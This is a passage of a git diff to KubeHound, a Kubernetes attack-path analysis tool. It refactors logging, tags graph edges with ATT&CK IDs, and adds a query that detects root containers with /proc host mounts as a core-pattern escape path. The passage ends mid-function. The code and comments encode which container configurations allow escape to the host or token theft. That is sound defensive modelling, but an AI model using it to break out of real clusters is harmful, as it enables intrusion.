span.Finish(tracer.WithError(err)) }() - - l.Infof("Building edge %s", label) + l := log.Logger(ctx) + l.Info("Building edge", log.String("label", label)) if err = e.Initialize(&b.cfg.Builder.Edge, &b.cfg.Dynamic); err != nil { return err @@ -90,9 +89,10 @@ func (b *Builder) buildEdge(ctx context.Context, label string, e edge.Builder, o } // buildMutating constructs all the mutating edges in the graph database. -func (b *Builder) buildMutating(ctx context.Context, l *log.KubehoundLogger, oic *converter.ObjectIDConverter) error { +func (b *Builder) buildMutating(ctx context.Context, oic *converter.ObjectIDConverter) error { + l := log.Logger(ctx) for label, e := range b.edges.Mutating() { - err := b.buildEdge(ctx, label, e, oic, l) + err := b.buildEdge(ctx, label, e, oic) if err != nil { // In case we don't want to continue and have a partial graph built, we return an error. // This then fails the WaitForComplete early and bubbles up to main. @@ -103,7 +103,7 @@ func (b *Builder) buildMutating(ctx context.Context, l *log.KubehoundLogger, oic // Since the issue might not be easy or even possible for the user to fix, we still want to be able to provide _some_ // values to the user (permissions of the users etc...) // TODO(#ASENG-512): Add an error handling framework to accumulate all errors and display them to the user in an user friendly way - l.Errorf("Failed to create a mutating edge (type: %s). The created graph will be INCOMPLETE (change `builder.stop_on_error` to abort or error instead)", e.Name()) + l.Warnf("Failed to create a mutating edge (type: %s). The created graph will be INCOMPLETE (change `builder.stop_on_error` to abort or error instead): %v", e.Name(), err) return nil } @@ -113,7 +113,8 @@ func (b *Builder) buildMutating(ctx context.Context, l *log.KubehoundLogger, oic } // buildSimple constructs all the simple edges in the graph database. -func (b *Builder) buildSimple(ctx context.Context, l *log.KubehoundLogger, oic *converter.ObjectIDConverter) error { +func (b *Builder) buildSimple(ctx context.Context, oic *converter.ObjectIDConverter) error { + l := log.Logger(ctx) l.Info("Creating edge builder worker pool") wp, err := worker.PoolFactory(b.cfg.Builder.Edge.WorkerPoolSize, b.cfg.Builder.Edge.WorkerPoolCapacity) if err != nil { @@ -126,13 +127,10 @@ func (b *Builder) buildSimple(ctx context.Context, l *log.KubehoundLogger, oic * } for label, e := range b.edges.Simple() { - e := e - label := label - wp.Submit(func() error { - err := b.buildEdge(workCtx, label, e, oic, l) + err := b.buildEdge(workCtx, label, e, oic) if err != nil { - l.Errorf("building simple edge %s: %v", label, err) + // l.Errorf("building simple edge %s: %v", label, err) // In case we don't want to continue and have a partial graph built, we return an error. // This then fails the WaitForComplete early and bubbles up to main. if b.cfg.Builder.StopOnError { @@ -142,7 +140,7 @@ func (b *Builder) buildSimple(ctx context.Context, l *log.KubehoundLogger, oic * // Since the issue might not be easy or even possible for the user to fix, we still want to be able to provide _some_ // values to the user (permissions of the users etc...) // TODO(#ASENG-512): Add an error handling framework to accumulate all errors and display them to the user in an user friendly way - l.Errorf("Failed to create a simple edge (type: %s). The created graph will be INCOMPLETE (change `builder.stop_on_error` to abort or error instead)", e.Name()) + l.Warnf("Failed to create a simple edge (type: %s). The created graph will be INCOMPLETE (change `builder.stop_on_error` to abort or error instead): %v", e.Name(), err) return nil } @@ -160,9 +158,10 @@ func (b *Builder) buildSimple(ctx context.Context, l *log.KubehoundLogger, oic * } // buildDependent constructs all the dependent edges in the graph database. -func (b *Builder) buildDependent(ctx context.Context, l *log.KubehoundLogger, oic *converter.ObjectIDConverter) error { +func (b *Builder) buildDependent(ctx context.Context, oic *converter.ObjectIDConverter) error { + l := log.Logger(ctx) for label, e := range b.edges.Dependent() { - err := b.buildEdge(ctx, label, e, oic, l) + err := b.buildEdge(ctx, label, e, oic) if err != nil { // In case we don't want to continue and have a partial graph built, we return an error. // This then fails the WaitForComplete early and bubbles up to main. @@ -173,7 +172,7 @@ func (b *Builder) buildDependent(ctx context.Context, l *log.KubehoundLogger, oi // Since the issue might not be easy or even possible for the user to fix, we still want to be able to provide _some_ // values to the user (permissions of the users etc...) // TODO(#ASENG-512): Add an error handling framework to accumulate all errors and display them to the user in an user friendly way - l.Errorf("Failed to create a dependent edge (type: %s). The created graph will be INCOMPLETE (change `builder.stop_on_error` to abort or error instead)", e.Name()) + l.Warnf("Failed to create a dependent edge (type: %s). The created graph will be INCOMPLETE (change `builder.stop_on_error` to abort or error instead): %v", e.Name(), err) return nil } @@ -185,8 +184,7 @@ func (b *Builder) buildDependent(ctx context.Context, l *log.KubehoundLogger, oi // Run constructs all the registered edges in the graph database. // NOTE: edges are constructed in parallel using a worker pool with properties configured via the top-level KubeHound config. func (b *Builder) Run(ctx context.Context) error { - - l := log.Trace(ctx, log.WithComponent(globals.BuilderComponent)) + l := log.Trace(ctx) oic := converter.NewObjectID(b.cache) if b.cfg.Builder.Edge.LargeClusterOptimizations { @@ -195,19 +193,19 @@ func (b *Builder) Run(ctx context.Context) error { // Mutating edges must be built first, sequentially l.Info("Starting mutating edge construction") - if err := b.buildMutating(ctx, l, oic); err != nil { + if err := b.buildMutating(ctx, oic); err != nil { return err } // Simple edges can be built in parallel l.Info("Starting simple edge construction") - if err := b.buildSimple(ctx, l, oic); err != nil { + if err := b.buildSimple(ctx, oic); err != nil { return err } // Dependent edges must be built last, sequentially l.Info("Starting dependent edge construction") - if err := b.buildDependent(ctx, l, oic); err != nil { + if err := b.buildDependent(ctx, oic); err != nil { return err } @@ -220,35 +218,35 @@ func (b *Builder) Run(ctx context.Context) error { // All I/O operations are performed asynchronously. func BuildGraph(outer context.Context, cfg *config.KubehoundConfig, storedb storedb.Provider, graphdb graphdb.Provider, cache cache.CacheReader) error { - + l := log.Logger(outer) start := time.Now() - span, ctx := span.SpanIngestRunFromContext(outer, span.BuildGraph) + span, ctx := span.SpanRunFromContext(outer, span.BuildGraph) var err error defer func() { span.Finish(tracer.WithError(err)) }() - log.I.Info("Loading graph edge definitions") + l.Info("Loading graph edge definitions") edges := edge.Registered() if err = edges.Verify(); err != nil { return fmt.Errorf("edge registry verification: %w", err) } - log.I.Info("Loading graph builder") + l.Info("Loading graph builder") builder, err := NewBuilder(cfg, storedb, graphdb, cache, edges) if err != nil { return fmt.Errorf("graph builder creation: %w", err) } - log.I.Info("Running dependency health checks") + l.Info("Running dependency health checks") if err := builder.HealthCheck(ctx); err != nil { return fmt.Errorf("graph builder dependency health check: %w", err) } - log.I.Info("Constructing graph") + l.Info("Constructing graph") if err := builder.Run(ctx); err != nil { return fmt.Errorf("graph builder edge calculation: %w", err) } - log.I.Infof("Completed graph construction in %s", time.Since(start)) + l.Info("Completed graph construction", log.Duration("duration", time.Since(start))) return nil } diff --git a/pkg/kubehound/graph/edge/attck.go b/pkg/kubehound/graph/edge/attck.go new file mode 100644 index 000000000..721b33cbd --- /dev/null +++ b/pkg/kubehound/graph/edge/attck.go @@ -0,0 +1,51 @@ +package edge + +// AttckTacticID is the interface for the ATT&CK tactic ID. +type AttckTacticID string + +var ( + // AttckTacticUndefined is the undefined ATT&CK tactic. + AttckTacticUndefined AttckTacticID + // AttckTacticInitialAccess is the ATT&CK tactic for initial access (TA0001). + AttckTacticInitialAccess AttckTacticID = "TA0001" + // AttckTacticExecution is the ATT&CK tactic for execution (TA0002). + AttckTacticExecution AttckTacticID = "TA0002" + // AttckTacticPersistence is the ATT&CK tactic for persistence (TA0003). + AttckTacticPersistence AttckTacticID = "TA0003" + // AttckTacticPrivilegeEscalation is the ATT&CK tactic for privilege escalation (TA0004). + AttckTacticPrivilegeEscalation AttckTacticID = "TA0004" + // AttckTacticCredentialAccess is the ATT&CK tactic for credential access (TA0006). + AttckTacticCredentialAccess AttckTacticID = "TA0006" + // AttckTacticDiscovery is the ATT&CK tactic for discovery (TA0007). + AttckTacticDiscovery AttckTacticID = "TA0007" + // AttckTacticLateralMovement is the ATT&CK tactic for lateral movement (TA0008). + AttckTacticLateralMovement AttckTacticID = "TA0008" +) + +// AttckTechniqueID is the interface for the ATT&CK technique ID. +type AttckTechniqueID string + +var ( + // AttckTechniqueUndefined is the undefined ATT&CK technique. + AttckTechniqueUndefined AttckTechniqueID + // AttckTechniquePermissionGroupsDiscovery is the ATT&CK technique for permission groups discovery (T1069). + AttckTechniquePermissionGroupsDiscovery AttckTechniqueID = "T1069" + // AttckTechniqueValidAccounts is the ATT&CK technique for valid accounts (T1078). + AttckTechniqueValidAccounts AttckTechniqueID = "T1078" + // AttckTechniqueTaintedSharedContent is the ATT&CK technique for tainted shared content (T1080). + AttckTechniqueTaintedSharedContent AttckTechniqueID = "T1080" + // AttckTechniqueExploitationOfRemoteServices is the ATT&CK technique for exploitation of remote services (T1210). + AttckTechniqueExploitationOfRemoteServices AttckTechniqueID = "T1210" + // AttckTechniqueStealApplicationAccessTokens is the ATT&CK technique for stealing application access tokens (T1528). + AttckTechniqueStealApplicationAccessTokens AttckTechniqueID = "T1528" + // AttckTechniqueUnsecuredCredentials is the ATT&CK technique for unsecured credentials (T1552). + AttckTechniqueUnsecuredCredentials AttckTechniqueID = "T1552" + // AttckTechniqueContainerAdministrationCommand is the ATT&CK technique for container administration command (T1609). + AttckTechniqueContainerAdministrationCommand AttckTechniqueID = "T1609" + // AttckTechniqueDeployContainer is the ATT&CK technique for deploying a container (T1610). + AttckTechniqueDeployContainer AttckTechniqueID = "T1610" + // AttckTechniqueEscapeToHost is the ATT&CK technique for escaping to the host (T1611). + AttckTechniqueEscapeToHost AttckTechniqueID = "T1611" + // AttckTechniqueContainerAndResourceDiscovery is the ATT&CK technique for container and resource discovery (T1613). + AttckTechniqueContainerAndResourceDiscovery AttckTechniqueID = "T1613" +) diff --git a/pkg/kubehound/graph/edge/base_container_escape.go b/pkg/kubehound/graph/edge/base_container_escape.go index c2f931148..efab4881d 100644 --- a/pkg/kubehound/graph/edge/base_container_escape.go +++ b/pkg/kubehound/graph/edge/base_container_escape.go @@ -19,13 +19,13 @@ type containerEscapeGroup struct { Container primitive.ObjectID `bson:"_id" json:"container"` } -func containerEscapeProcessor(ctx context.Context, oic *converter.ObjectIDConverter, edgeLabel string, entry any) (any, error) { +func containerEscapeProcessor(ctx context.Context, oic *converter.ObjectIDConverter, edgeLabel string, entry any, attributes map[string]any) (any, error) { typed, ok := entry.(*containerEscapeGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, edgeLabel, typed.Container, typed.Node) + return adapter.GremlinEdgeProcessor(ctx, oic, edgeLabel, typed.Container, typed.Node, attributes) } func (e *BaseContainerEscape) Traversal() types.EdgeTraversal { return adapter.DefaultEdgeTraversal() diff --git a/pkg/kubehound/graph/edge/builder.go b/pkg/kubehound/graph/edge/builder.go index c8dedd1ba..e55ec6d8c 100644 --- a/pkg/kubehound/graph/edge/builder.go +++ b/pkg/kubehound/graph/edge/builder.go @@ -28,6 +28,12 @@ type Builder interface { // Label returns the label for the edge (convention is all uppercase i.e EDGE_NAME). Label() string + // AttckTechniqueID returns the ATT&CK technique ID for the edge. + AttckTechniqueID() AttckTechniqueID + + // AttckTacticID returns the ATT&CK tactic ID for the edge. + AttckTacticID() AttckTacticID + // BatchSize returns the batch size of bulk inserts (and threshold for triggering a flush). BatchSize() int diff --git a/pkg/kubehound/graph/edge/container_attach.go b/pkg/kubehound/graph/edge/container_attach.go index 20ae156af..10c0685b4 100644 --- a/pkg/kubehound/graph/edge/container_attach.go +++ b/pkg/kubehound/graph/edge/container_attach.go @@ -36,13 +36,24 @@ func (e *ContainerAttach) Name() string { return "ContainerAttach" } +func (e *ContainerAttach) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAdministrationCommand +} + +func (e *ContainerAttach) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *ContainerAttach) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*containerAttachGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Pod, typed.Container) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Pod, typed.Container, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *ContainerAttach) Traversal() types.EdgeTraversal { @@ -52,7 +63,7 @@ func (e *ContainerAttach) Traversal() types.EdgeTraversal { func (e *ContainerAttach) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - containers := adapter.MongoDB(store).Collection(collections.ContainerName) + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) // We just need a 1:1 mapping of the container and pod to create this edge projection := bson.M{"_id": 1, "pod_id": 1} diff --git a/pkg/kubehound/graph/edge/endpoint_exploit_external.go b/pkg/kubehound/graph/edge/endpoint_exploit_external.go index b82866c11..5560c0185 100644 --- a/pkg/kubehound/graph/edge/endpoint_exploit_external.go +++ b/pkg/kubehound/graph/edge/endpoint_exploit_external.go @@ -35,19 +35,30 @@ func (e *EndpointExploitExternal) Name() string { return "EndpointExploitExternal" } +func (e *EndpointExploitExternal) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueExploitationOfRemoteServices +} + +func (e *EndpointExploitExternal) AttckTacticID() AttckTacticID { + return AttckTacticLateralMovement +} + func (e *EndpointExploitExternal) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*sliceEndpointGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Endpoint, typed.Container) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Endpoint, typed.Container, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *EndpointExploitExternal) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - endpoints := adapter.MongoDB(store).Collection(collections.EndpointName) + endpoints := adapter.MongoDB(ctx, store).Collection(collections.EndpointName) // K8s endpoint slices must be ingested before containers. In this stage we need to match store.Endpoint documents that // are generated via K8s EndpointSlice objects and match them to the container exposing the endpoint. The other case of diff --git a/pkg/kubehound/graph/edge/endpoint_exploit_internal.go b/pkg/kubehound/graph/edge/endpoint_exploit_internal.go index 8e1eac593..eca0c98d2 100644 --- a/pkg/kubehound/graph/edge/endpoint_exploit_internal.go +++ b/pkg/kubehound/graph/edge/endpoint_exploit_internal.go @@ -36,19 +36,30 @@ func (e *EndpointExploitInternal) Name() string { return "EndpointExploitInternal" } +func (e *EndpointExploitInternal) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueExploitationOfRemoteServices +} + +func (e *EndpointExploitInternal) AttckTacticID() AttckTacticID { + return AttckTacticLateralMovement +} + func (e *EndpointExploitInternal) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*containerEndpointGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Endpoint, typed.Container) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Endpoint, typed.Container, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *EndpointExploitInternal) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - endpoints := adapter.MongoDB(store).Collection(collections.EndpointName) + endpoints := adapter.MongoDB(ctx, store).Collection(collections.EndpointName) // Collect the endpoints with no associated slice. These are directly created from a container port in the // pod ingest pipeline and so already have an associated container ID we can use directly. diff --git a/pkg/kubehound/graph/edge/escape_module_load.go b/pkg/kubehound/graph/edge/escape_module_load.go index 4eb9b4c8e..9c4b4abb1 100644 --- a/pkg/kubehound/graph/edge/escape_module_load.go +++ b/pkg/kubehound/graph/edge/escape_module_load.go @@ -29,15 +29,26 @@ func (e *EscapeModuleLoad) Name() string { return "ContainerEscapeModuleLoad" } +func (e *EscapeModuleLoad) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *EscapeModuleLoad) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + // Processor delegates the processing tasks to the generic containerEscapeProcessor. func (e *EscapeModuleLoad) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { - return containerEscapeProcessor(ctx, oic, e.Label(), entry) + return containerEscapeProcessor(ctx, oic, e.Label(), entry, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *EscapeModuleLoad) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - containers := adapter.MongoDB(store).Collection(collections.ContainerName) + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) // Escape is possible with privileged containers or CAP_SYS_MODULE loaded explicitly filter := bson.M{ diff --git a/pkg/kubehound/graph/edge/escape_nsenter.go b/pkg/kubehound/graph/edge/escape_nsenter.go index 1991793db..27bc7ce16 100644 --- a/pkg/kubehound/graph/edge/escape_nsenter.go +++ b/pkg/kubehound/graph/edge/escape_nsenter.go @@ -29,15 +29,26 @@ func (e *EscapeNsenter) Name() string { return "ContainerEscapeNsenter" } +func (e *EscapeNsenter) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *EscapeNsenter) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + // Processor delegates the processing tasks to the generic containerEscapeProcessor. func (e *EscapeNsenter) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { - return containerEscapeProcessor(ctx, oic, e.Label(), entry) + return containerEscapeProcessor(ctx, oic, e.Label(), entry, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *EscapeNsenter) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - containers := adapter.MongoDB(store).Collection(collections.ContainerName) + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) // Escape is possible with privileged containers that share the PID namespace filter := bson.M{ diff --git a/pkg/kubehound/graph/edge/escape_priv_mount.go b/pkg/kubehound/graph/edge/escape_priv_mount.go index 3fe70f6e0..0fa4f62b0 100644 --- a/pkg/kubehound/graph/edge/escape_priv_mount.go +++ b/pkg/kubehound/graph/edge/escape_priv_mount.go @@ -29,15 +29,26 @@ func (e *EscapePrivMount) Name() string { return "ContainerEscapePrivilegedMount" } +func (e *EscapePrivMount) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *EscapePrivMount) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + // Processor delegates the processing tasks to the generic containerEscapeProcessor. func (e *EscapePrivMount) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { - return containerEscapeProcessor(ctx, oic, e.Label(), entry) + return containerEscapeProcessor(ctx, oic, e.Label(), entry, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *EscapePrivMount) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - containers := adapter.MongoDB(store).Collection(collections.ContainerName) + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) // Escape is possible with privileged containers via mounting the root directory on the host // and editing sensitive files e.g SSH keys, cronjobs, etc diff --git a/pkg/kubehound/graph/edge/escape_sys_ptrace.go b/pkg/kubehound/graph/edge/escape_sys_ptrace.go index cc7aa15e7..97cd6734b 100644 --- a/pkg/kubehound/graph/edge/escape_sys_ptrace.go +++ b/pkg/kubehound/graph/edge/escape_sys_ptrace.go @@ -29,15 +29,26 @@ func (e *EscapeSysPtrace) Name() string { return "ContainerEscapeSysPtrace" } +func (e *EscapeSysPtrace) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *EscapeSysPtrace) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + // Processor delegates the processing tasks to the generic containerEscapeProcessor. func (e *EscapeSysPtrace) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { - return containerEscapeProcessor(ctx, oic, e.Label(), entry) + return containerEscapeProcessor(ctx, oic, e.Label(), entry, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *EscapeSysPtrace) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - containers := adapter.MongoDB(store).Collection(collections.ContainerName) + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) // Escape is possible with shared host pid namespace and SYS_PTRACE/SYS_ADMIN capabilities filter := bson.M{ diff --git a/pkg/kubehound/graph/edge/escape_umh_core_pattern.go b/pkg/kubehound/graph/edge/escape_umh_core_pattern.go new file mode 100644 index 000000000..0cdfb61e1 --- /dev/null +++ b/pkg/kubehound/graph/edge/escape_umh_core_pattern.go @@ -0,0 +1,109 @@ +package edge + +import ( + "context" + + "github.com/DataDog/KubeHound/pkg/kubehound/graph/adapter" + "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" + "github.com/DataDog/KubeHound/pkg/kubehound/models/converter" + "github.com/DataDog/KubeHound/pkg/kubehound/models/shared" + "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" + "github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb" + "github.com/DataDog/KubeHound/pkg/kubehound/store/collections" + "go.mongodb.org/mongo-driver/bson" +) + +var ProcMountList = bson.A{ + "/", + "/proc", + "/proc/sys", + "/proc/sys/kernel", +} + +func init() { + Register(&EscapeCorePattern{}, RegisterDefault) +} + +type EscapeCorePattern struct { + BaseContainerEscape +} + +func (e *EscapeCorePattern) Label() string { + return "CE_UMH_CORE_PATTERN" +} + +func (e *EscapeCorePattern) Name() string { + return "ContainerEscapeCorePattern" +} + +func (e *EscapeCorePattern) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *EscapeCorePattern) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + +func (e *EscapeCorePattern) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { + return containerEscapeProcessor(ctx, oic, e.Label(), entry, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) +} + +func (e *EscapeCorePattern) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, + callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) + + pipeline := []bson.M{ + { + "$match": bson.M{ + "k8.securitycontext.runasuser": 0, + "runtime.runID": e.runtime.RunID.String(), + "runtime.cluster": e.runtime.ClusterName, + }, + }, + { + "$lookup": bson.M{ + "as": "procMountContainers", + "from": "volumes", + "foreignField": "pod_id", + "localField": "pod_id", + "pipeline": []bson.M{ + { + "$match": bson.M{ + "$and": bson.A{ + bson.M{"type": shared.VolumeTypeHost}, + bson.M{"source": bson.M{ + "$in": ProcMountList, + }}, + bson.M{"runtime.runID": e.runtime.RunID.String()}, + bson.M{"runtime.cluster": e.runtime.ClusterName}, + }, + }, + }, + }, + }, + }, + { + "$unwind": bson.M{ + "path": "$procMountContainers", + "preserveNullAndEmptyArrays": false, + }, + }, + { + "$project": bson.M{ + "_id": 1, + "node_id": 1, + }, + }, + } + + cur, err := containers.Aggregate(ctx, pipeline) + if err != nil { + return err + } + defer cur.Close(ctx) + + return adapter.MongoCursorHandler[containerEscapeGroup](ctx, cur, callback, complete) +} diff --git a/pkg/kubehound/graph/edge/escape_var_log_symlink.go b/pkg/kubehound/graph/edge/escape_var_log_symlink.go index f0a4d2fcb..576ac0907 100644 --- a/pkg/kubehound/graph/edge/escape_var_log_symlink.go +++ b/pkg/kubehound/graph/edge/escape_var_log_symlink.go @@ -42,6 +42,14 @@ func (e *EscapeVarLogSymlink) Name() string { return "ContainerEscapeVarLogSymlink" } +func (e *EscapeVarLogSymlink) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueUnsecuredCredentials +} + +func (e *EscapeVarLogSymlink) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *EscapeVarLogSymlink) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*permissionSetIDEscapeGroup) if !ok { @@ -60,13 +68,13 @@ func (e *EscapeVarLogSymlink) Traversal() types.EdgeTraversal { return func(source *gremlin.GraphTraversalSource, inserts []any) *gremlin.GraphTraversal { g := source.GetGraphTraversal() // reduce the graph to only these permission sets - g.V(inserts...).HasLabel("PermissionSet"). + g.V(inserts...).Has("class", "PermissionSet"). // get identity vertices InE("PERMISSION_DISCOVER").OutV(). // get container vertices InE("IDENTITY_ASSUME").OutV(). // save container vertices as "c" so we can link to it to the node via CE_VAR_LOG_SYMLINK - HasLabel("Container").As("c"). + Has("class", "Container").As("c"). // Get all the volumes OutE("VOLUME_DISCOVER").InV(). Has("type", shared.VolumeTypeHost). @@ -74,8 +82,10 @@ func (e *EscapeVarLogSymlink) Traversal() types.EdgeTraversal { Has("sourcePath", P.Within("/", "/var", "/var/log")). // get the node related to that volume mount InE("VOLUME_ACCESS").OutV(). - HasLabel("Node").As("n"). + Has("class", "Node").As("n"). AddE("CE_VAR_LOG_SYMLINK").From("c").To("n"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) return g @@ -83,9 +93,9 @@ func (e *EscapeVarLogSymlink) Traversal() types.EdgeTraversal { } func (e *EscapeVarLogSymlink) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, - callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + callback types.ProcessEntryCallback, complete types.CompleteQueryCallback, +) error { + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/exploit_host_read.go b/pkg/kubehound/graph/edge/exploit_host_read.go index 18f9f1e71..3950998d5 100644 --- a/pkg/kubehound/graph/edge/exploit_host_read.go +++ b/pkg/kubehound/graph/edge/exploit_host_read.go @@ -49,19 +49,30 @@ func (e *ExploitHostRead) Name() string { return "ExploitHostRead" } +func (e *ExploitHostRead) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *ExploitHostRead) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *ExploitHostRead) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*exploitHostReadGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Volume, typed.Node) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Volume, typed.Node, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *ExploitHostRead) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - volumes := adapter.MongoDB(store).Collection(collections.VolumeName) + volumes := adapter.MongoDB(ctx, store).Collection(collections.VolumeName) filter := bson.M{ "type": shared.VolumeTypeHost, diff --git a/pkg/kubehound/graph/edge/exploit_host_traverse_token.go b/pkg/kubehound/graph/edge/exploit_host_traverse_token.go index 36d4a6254..f5c39ee4f 100644 --- a/pkg/kubehound/graph/edge/exploit_host_traverse_token.go +++ b/pkg/kubehound/graph/edge/exploit_host_traverse_token.go @@ -48,19 +48,30 @@ func (e *ExploitHostTraverse) Name() string { return "ExploitHostTraverseToken" } +func (e *ExploitHostTraverse) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueUnsecuredCredentials +} + +func (e *ExploitHostTraverse) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *ExploitHostTraverse) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*exploitTraverseTokenGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Parent, typed.Child) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Parent, typed.Child, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *ExploitHostTraverse) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, process types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - volumes := adapter.MongoDB(store).Collection(collections.VolumeName) + volumes := adapter.MongoDB(ctx, store).Collection(collections.VolumeName) // Link child volumes ONLY where these have interesting properties. Currently this only supports parent // directories of the pod token directory to enable TOKEN_STEAL attacks. diff --git a/pkg/kubehound/graph/edge/exploit_host_write.go b/pkg/kubehound/graph/edge/exploit_host_write.go index 493ed067e..369be327b 100644 --- a/pkg/kubehound/graph/edge/exploit_host_write.go +++ b/pkg/kubehound/graph/edge/exploit_host_write.go @@ -61,19 +61,30 @@ func (e *ExploitHostWrite) Name() string { return "ExploitHostWrite" } +func (e *ExploitHostWrite) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueEscapeToHost +} + +func (e *ExploitHostWrite) 